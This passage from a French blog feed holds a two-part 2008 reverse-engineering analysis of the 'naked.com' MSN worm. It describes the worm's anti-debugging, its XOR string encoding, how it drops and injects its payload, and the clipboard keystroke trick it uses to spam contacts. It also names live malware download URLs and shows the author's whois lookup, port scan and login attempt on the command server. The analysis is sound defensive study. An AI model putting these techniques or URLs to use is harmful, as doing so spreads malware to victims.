¬°°´þëë©¡©¦¶¡·ê¨½§«·ê¢¶ë´¬«°««·öôôüëûù »&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Une fois la chaîne formatée, concaténée avec votre adresse, le malware va utiliser une technique plutôt « maison » si je peux dire.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;En effet, il va se servir du clipboard.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Il va tout simplement copier la chaîne de caractères dans le clipboard.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Hum, a quoi cela sert-il?&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Le malware, va alors se débrouiller pour cacher la fenêtre du contact de la victime et lui donner le focus.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Patience, juste en dessous, on aperçoit des appels à une fonction : keybd_event().&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On regarde les arguments qui lui sont passés. La première fonction va simuler l'appuis sur la touche « CTRL », la seconde sur la touche « V » et la dernière sur la touche « ENTER ».&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Une petite astuce qui peut être retenue !&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Utiliser le clipboard pour stocker une information et utiliser le raccourcis clavier, simulés par keybd_event(), pour coller l'information.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Voilà en ce qui concerne la première commande.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Finalement il nous reste à en savoir plus sur la seconde commande.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Celle-ci est déclenchée par la chaîne de caractères : « ôóýýûòó ».&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Chaine2 :&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;    db 0F4h&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;               &lt;span style="font-size:100%;"&gt;db 0F3h&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;    db 0FDh&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;               &lt;span style="font-size:100%;"&gt;db 0FDh&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;               &lt;span style="font-size:100%;"&gt;db 0FBh&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;               &lt;span style="font-size:100%;"&gt;db 0F2h&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;               &lt;span style="font-size:100%;"&gt;db 0F3h&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;               &lt;span style="font-size:100%;"&gt;db    0&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Bon après avoir tracer cette routine, elle reste très similaire à la première.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Tous d'abord cette fonction à été créée je pense, afin de pouvoir personnaliser les messages envoyés, aux victimes.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Afin d'éviter de toujours utiliser les chaînes de caractères hardcodées.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On peut donc appeler la fonction de la façon suivante : &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Exemple : &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt; &lt;span style="font-size:100%;"&gt;« ôóýýûòó 0vercl0k.blogspot.com/?= plz look» cette commande ira envoyer le message : « plz look     0vercl0k.blogspot.com/?=votreadressemsn ».&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Bien sûr, les chaînes de caractères doivent être xorée avec la clé 196 avant d'être passée en argument, je ne l'ai pas « encodée » pour faciliter la compréhension.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Donc le thread lancé par la commande est le même.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Les deux fonctions sont quasiment identiques, seulement dans la seconde fonction on constate la présence d'une routine se chargeant de « découper » le buffer en argument, pour ensuite les passés à la commande.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;L' analyse de ce malware est alors terminé en ce qui me concerne.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Je n'analyserais pas les binaires qui ont été télécharger par le programme au fur et a mesure de l'exécution du malware, tout simplement car cela me prend énormément de temps.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Tous ce que je sais, c'est que les exécutables vont entre autre en télécharger d'autre binaire, certains sont contenus dans des pages phps, on pourrait même croire à une sorte de serveur qui stock des améliorations ou autres, un serveur d'update.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Bon après cette partie, je vous propose une petite excursion.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Sh3rl0ck h0lm3s&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Une fois que j'étais au courant de ce que pouvais faire le malware, la curiosité m'a poussé à aller sur le serveur où le malware est censé se connecter.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;La connection s'effectue..&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Je décide alors de me faire passer pour une victime, je prend un nick formaté comme celui d'une victime.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Petit temps de repérage, le serveur est loin d'être bavard, presque toutes les commandes sont désactivés, les whois sont interdits, aucun voicé, le channel est modéré.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Le channel est en apparence vide, les victimes sont surrements cachées, je vois seulement un opérateur.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Celui-ci balance sur le public une chaine du style : &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;com&gt; òÿööõ ¬°°´þëë©¡©¦¶¡·ê¨½§«·ê¢¶ë´¬«°««·öôôüëûù&lt;/com&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On reconnaît bien sure la première commande, si l'on décrypte la chaine on retrouve : «  http://membres.lycos.fr/photoos2008/?= »&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Enfin bref, cela m'intrigue, ce qui m'étonnerai serai que le serveur qui héberge le daemon irc, appartienne au codeur du malware.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Avec l'aide de sevieron, nous entamons une petite, analyse.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On commence notre analyse, par un whois sur le dns asl.aldanma.net.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;[...]&lt;br /&gt;Domain Name.......... aldanma.net&lt;br /&gt;Creation Date........ 2005-07-26&lt;br /&gt;Registration Date.... 2005-07-26&lt;br /&gt;Expiry Date.......... 2010-07-26&lt;br /&gt;Organisation Name.... Marsha Grizzell&lt;br /&gt;Organisation Address. 220 montalvo dr&lt;br /&gt;Organisation Address.&lt;br /&gt;Organisation Address. bakersfield&lt;br /&gt;Organisation Address. 93309&lt;br /&gt;Organisation Address. CA&lt;br /&gt;Organisation Address. UNITED STATES MINOR OUTLYING ISLANDS&lt;br /&gt;[...]&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On lance quelques recherches, afin de trouver quelques informations sur la soit disant propriétaire.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Google nous renvois des sites ayant un rapport avec des produits pour la perte de poids, par exemple healthweight.ne, assez étonnant qu'un daemon irc installé, dans le but de récupérer et commander les victimes, par une tel personne.&lt;br /&gt;Nous continuons.&lt;br /&gt;C'est à présent un scan, que nous lançons sur le serveur.&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;PORT     STATE&lt;br /&gt;80/tcp     closed&lt;br /&gt;83/tcp     open&lt;br /&gt;358/tcp   open&lt;br /&gt;3389/tcp open&lt;br /&gt;8721/tcp open&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;Nous tentons une connection sur le port tcp 8721.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R7bIQdZdQaI/AAAAAAAAADk/YwplWmd49jE/s1600-h/shelldk9.jpg"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R7bIQdZdQaI/AAAAAAAAADk/YwplWmd49jE/s400/shelldk9.jpg" alt="" id="BLOGGER_PHOTO_ID_5167537807549088162" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;a href="http://www.healthweight.ne/"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="text-decoration: none;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.healthweight.ne/"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;   Nous tombons sur une petite surprise, on se retrouve sur un espèce de remote shell/ftp daemon.&lt;br /&gt;L'identification se passe comme un daemon ftp apparemment.&lt;br /&gt;&lt;br /&gt;USER anonymous&lt;br /&gt;PASS lolilol@lolilol.com&lt;br /&gt;&lt;br /&gt;Bon, fallait s'en douter, l'accès est (heureusement) refusé.&lt;br /&gt;Le but de l'opération ne résidait de toutes façons pas en l'obtention d'un accès.&lt;br /&gt;Nous avons cependant observer des phrases présentes dans la « présentation » à la connection.&lt;br /&gt;D'après Google il s'agit d'un trojan qui permettrait d'upper des fichiers et j'en passe.&lt;br /&gt;Ce qui confirmerais qu'il agit bien d'un serveur compromis.&lt;br /&gt;&lt;br /&gt;PS : Un windows server 2003 tourne sur le 3389.&lt;br /&gt;Tout cela, pour montrer que la prise d'information sur un serveur est d'après moi, essentiel pour la suite des opérations.&lt;br /&gt;&lt;br /&gt;On peut donc aussi conclure que le serveur a surement été victime d'une attaque quelconque, menant à un remote access.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Voilà nous arrivons à la fin de ce petit article.&lt;br /&gt;J'espère avoir intéressé quelques d'entres vous, je vous donne quelques liens :&lt;br /&gt;&lt;br /&gt;Analyser un binaire rapidement et autre qu'en local -&gt;  &lt;a href="http://analysis.seclab.tuwien.ac.at/index.php"&gt;http://analysis.seclab.tuwien.ac.at/index.php&lt;/a&gt;.&lt;br /&gt;LE scanner -&gt; &lt;a href="http://nmap.org/"&gt;http://nmap.org/&lt;/a&gt;.&lt;br /&gt;L'archive mise à jour contenant les binaires, .idbs -&gt; &lt;a href="http://overclok.free.fr/Codes/AnalyseMalwareNaked/Analyse_Malware_Naked.rar"&gt;http://overclok.free.fr/Codes/AnalyseMalwareNaked/Analyse_Malware_Naked.rar&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;C'est finit, bonne journée à tous.&lt;br /&gt;Remerciement, aux personnes qui me relisent, et qui me conseil, voilà tout est dit :).&lt;br /&gt;Cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-443835438944357855?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/443835438944357855/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=443835438944357855' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/443835438944357855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/443835438944357855'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/02/3v1l-0r-n0t-part-ii.html' title='3v1l 0r n0t ? - Part II.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kuo-yDTqvqc/R7bIQdZdQaI/AAAAAAAAADk/YwplWmd49jE/s72-c/shelldk9.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-8486224384054271885</id><published>2008-02-02T05:15:00.000-08:00</published><updated>2008-12-09T22:04:06.135-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='desassembler'/><category scheme='http://www.blogger.com/atom/ns#' term='malware msn'/><category scheme='http://www.blogger.com/atom/ns#' term='naked.com'/><category scheme='http://www.blogger.com/atom/ns#' term='Apis debug'/><category scheme='http://www.blogger.com/atom/ns#' term='ollydbg'/><category scheme='http://www.blogger.com/atom/ns#' term='naked'/><category scheme='http://www.blogger.com/atom/ns#' term='IDA'/><category scheme='http://www.blogger.com/atom/ns#' term='analyse malware'/><category scheme='http://www.blogger.com/atom/ns#' term='analyse'/><category scheme='http://www.blogger.com/atom/ns#' term='naked0453.com'/><title type='text'>3v1l 0r n0t ? - Part I.</title><content type='html'>Bonjour à tous,&lt;br /&gt;Me revoilà avec un petit article, celui-ci traitera de l’analyse d’un malware récent : naked.com.&lt;br /&gt;Cette analyse m’a prit pas mal de temps en effet, j’y est donc consacré deux semaines (ce qui explique l’absence de post la semaine dernière).&lt;br /&gt;Ceci dit, celui-ci sera un peu plus long.&lt;br /&gt;&lt;br /&gt;Conseils préliminaires :&lt;br /&gt;&lt;br /&gt;-Tous d’abord, si vous comptez lancer le vers, munissez vous d’une machine virtuel (vmware par exemple).&lt;br /&gt;Personnellement j’ai utilisé vmware, avec une machine virtuel où j’y ai installé Windows.&lt;br /&gt;&lt;br /&gt;-Ensuite je vous conseil d’utiliser la fonction ’snapshot’ de vmware, celle-ci permet de prendre une image du système tel que, au cas ou vous voudriez revenir avec un système vierge de toute infection, on charge l’image de notre Windows et nous revoilà avec un système vierge.&lt;br /&gt;&lt;br /&gt;-De plus, des outils sont nécessaire pour analyser un peu le malware, on ne peut pas se passer de désassembleur et d’un débuggeur bien évidemment.&lt;br /&gt;En ce qui me concerne, j’utiliserais IDA ainsi qu’OllyDbg en tant que débuggeur.&lt;br /&gt;Je voulais aussi ajouter que IDA est vraiment un outil, tout simplement merveilleux. Ce qu’il apporte en plus, c’est tout d’abord la possibilité de renommer les variables, les fonctions et j’en passe.&lt;br /&gt;Le dump devient de plus en plus lisible, car il vous appartient!&lt;br /&gt;Profitez pleinement de ce gros avantage.&lt;br /&gt;Mais on peut citer des outils, comme RegMon , snort, ProcessExplorer, ou encore Wireshark, sans oublier les exécutables natifs comme regedit.&lt;br /&gt;Ceci dis, si vous avez confiance en vous et en votre analyse, le débuggeur et le désassembleur suffira .&lt;br /&gt;&lt;br /&gt;-Une dernière petite chose qu’il faut à mon goût penser, c’est que nous partons sur la base que l’exécutable à analyser peut faire n’importe quoi ; c’est pour cela je vous conseil de désactivé l’accès à tous types de réseaux, que ce soit un réseau local ou autres.&lt;br /&gt;&lt;br /&gt;Je pense avoir résumé le tout, vous êtes à présent apte à analyser un petit malware.&lt;br /&gt;&lt;br /&gt;Je tiens à préciser que je ne fournirais aucun binaire relatif à mon analyse, afin d’éviter toutes détériorations massives par des kiddies ou autres.&lt;br /&gt;Au cours de ce petit post, je vais présenter les actions de notre petit malware.&lt;br /&gt;Si il y a des passages où l’analyse est erroné, n’hésiter pas à prendre contact avec moi, il s’agit de ma première analyse de malware.&lt;br /&gt;&lt;br /&gt;Je vous file quelques petits papers qui peuvent être intéressant à lire avant :&lt;br /&gt;&lt;br /&gt;-&lt;a href="http://www.netix.free.fr/tutos/ida/ida1/ida1.htm"&gt;http://www.netix.free.fr/tutos/ida/ida1/ida1.htm&lt;/a&gt; -&gt; prise en main d’IDA.&lt;br /&gt;-&lt;a href="http://milw0rm.com/papers/133"&gt;http://milw0rm.com/papers/133&lt;/a&gt; -&gt; Anatomy of a Malware, ce pdf vous présente une analyse concrète avec dumps.&lt;br /&gt;&lt;br /&gt;Après c’est quelques avertissements, nous allons pouvoir attaquer le vif du sujet.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Premier contact avec le loader.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nous allons tout d’abord vérifier si notre exécutable est protégé contre le reversing.&lt;br /&gt;Il peut être en effet packer, ce qui peut nous gêner au cours de notre analyse.&lt;br /&gt;Je lance un coup de PEID sur l’exécutable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R6Rtc6xG8BI/AAAAAAAAACk/s5VPYMhPvgc/s1600-h/AnalysePeid_naked.com.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R6Rtc6xG8BI/AAAAAAAAACk/s5VPYMhPvgc/s400/AnalysePeid_naked.com.png" alt="" id="BLOGGER_PHOTO_ID_5162371416452427794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Je vais donc aller, regarder du côté des sections de l’exécutable et là..&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R6Rtw6xG8CI/AAAAAAAAACs/Ht5SiHPHZk0/s1600-h/AnalysePeidSection_naked.com.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R6Rtw6xG8CI/AAAAAAAAACs/Ht5SiHPHZk0/s400/AnalysePeidSection_naked.com.png" alt="" id="BLOGGER_PHOTO_ID_5162371760049811490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Le nom des sections est UPX0 etc. En tant qu’être normalement constitué, je télécharge le packer UPX, et puis je le test avec sa fonction d’ unpack sur mon exécutable.&lt;br /&gt;Je relance PEID, pour voir si ce n’était pas un vilain trick du codeur.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R6RuaKxG8EI/AAAAAAAAAC8/fcjsJHZ1Ngk/s1600-h/AnalysePeidUnpacked.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R6RuaKxG8EI/AAAAAAAAAC8/fcjsJHZ1Ngk/s400/AnalysePeidUnpacked.png" alt="" id="BLOGGER_PHOTO_ID_5162372468719415362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R6RuIKxG8DI/AAAAAAAAAC0/hR3Ux3t4ANM/s1600-h/AnalysePeidSectionUnpacked.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R6RuIKxG8DI/AAAAAAAAAC0/hR3Ux3t4ANM/s400/AnalysePeidSectionUnpacked.png" alt="" id="BLOGGER_PHOTO_ID_5162372159481770034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Le ton est a priori donné, nous allons débuguer/désassembler un code C/C++, une bonne nouvelle me direz vous.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Trip in da binaire&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Et nous voilà partis, IDA d’un côté, et Olly de l’autre, nous sentons l’adrénaline qui monte, let's go !!&lt;br /&gt;Dès le début de notre analyse, on remarque des actions plutôt bizarre : on se retrouve avec des appels aux apis GetTickCount et Sleep().&lt;br /&gt;C’est à ce moment là que l’on se demande a quoi il joue : c’est en faite très simple, il s’agit d’un anti-debug (abrégé anti-dbg ).&lt;br /&gt;Si l’exécutable est debuggué il se peut, que vous allez rester du temps sur une instructions, or si le sleep dure plus de temps (millisecondes) que celui demandé, on se retrouvera avec une différence de seconde!&lt;br /&gt;Bon, un petit anti-dbg qui vaut pas grand-chose à mon avis, continuons.&lt;br /&gt;Nous tombons, sur une routine qui va décrypter une chaîne de caractères : c’est enfaîte un xor  de la lettre avec le nombre 139.&lt;br /&gt;Un petit code C est fournis en fin d’article pour décoder ce genre de chaîne.&lt;br /&gt;Nous avançons,  on manipule des structures du type PROCESS_INFORMATION et STARTUPINFO, on flag les structures de façons a avoir une fenêtre caché, si un éventuel appel à CreateProcess.&lt;br /&gt;On récupère à présent le path sur le dossier temporaire de la bécane, grâce à GetTempPath(), c’est un peu plus loin que l’on va formater une chaîne de caractère du type : DossierTemporaire\services.exe.&lt;br /&gt;On se doute que ce fichier sera, le cœur de notre ver.&lt;br /&gt;Nos petites suppositions était loin d’être fausse, car le loader va créer ce fichier dans le dossier temporaire justement, on y écris le code binaire qui est stocké dans le loader.&lt;br /&gt;On lance alors le processus, services.exe, précédemment créer (d’où le flag des structures etc.).&lt;br /&gt;&lt;br /&gt;Nous voilà déjà avec un binaire pas très gentil (supposons) de créer, et de lancer.&lt;br /&gt;Continuons!&lt;br /&gt;&lt;br /&gt;Afin de ne pas alerter la victime, le loader va tout d’abord, créer un fichier image.jpg dans le dossier courant, pour après allez l’afficher dans une fenêtre.&lt;br /&gt;Me direz vous, il faut pas être très fin pour ne pas se douter de quelque chose, mais passons.&lt;br /&gt;Voilà, le loader s’arrête ici.&lt;br /&gt;A présent, analysons services.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Services.exe, un parfait cachottier.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;De retour, accompagné de nos fidèles instruments.&lt;br /&gt;Petit reflex, vérifié si l’exécutable n’est pas protégé.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R6Ru7axG8FI/AAAAAAAAADE/Si3ZZUObqyw/s1600-h/AnalysePeidServices.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R6Ru7axG8FI/AAAAAAAAADE/Si3ZZUObqyw/s400/AnalysePeidServices.png" alt="" id="BLOGGER_PHOTO_ID_5162373039950065746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Première chose que nous remarquons d’intéressants, c’est bien sure l’appel à deux calls.&lt;br /&gt;On s’engage droit dedans, on trace, on trace, de call en call, les routines s’éclaircissent.&lt;br /&gt;On comprend peu à peu qu’il s’agit enfaîte des routines qui se chargent de décrypter toutes les chaînes dont le programme aura besoin.&lt;br /&gt;Et cela, grâce a un xor de la lettre et du chiffre 7 cette fois-ci.&lt;br /&gt;Le programme fait ensuite appel aux APIs GetProcAddress et GetModuleHandle afin de récupérer l'adresse des API qui lui seront utile par la suite.&lt;br /&gt;Une fois ceci effectué, on constate une injection de code dans l’explorer.exe!&lt;br /&gt;Rien de bien croustillant, juste un control au niveau de la mutes ainsi qu’un WinExec sur le services.exe justement.&lt;br /&gt;On ne se décourage, on continus.&lt;br /&gt;Cette fois-ci nous arrivons sur une récupération de pointeur sur la fonction InternetReadFile exportée par WinInnet.dll, on génère ensuite une chaîne de caractères de 6lettres, et là.. On télécharge un fichier hébergé à l’adresse : http://james.ccpower.ru/dima.exe, le fichier est donc enregistrer sous le nom de la string précédemment généré dans le répertoire courant.&lt;br /&gt;(Par faute de temps je n’ai pas analysé cette exécutable, si une personne l’a déjà fait, qu’il me fasse signe merci.)&lt;br /&gt;Une fois le fichier écrit, on l’exécute bien évidemment.&lt;br /&gt;A présent, on aperçoit plusieurs apis/fonctions permettant de formater des chaînes de caractères.&lt;br /&gt;Tout d’abord, on formate une chaîne du genre : « C:\\services.exe:*:Enabled:Flash Player2 » ..&lt;br 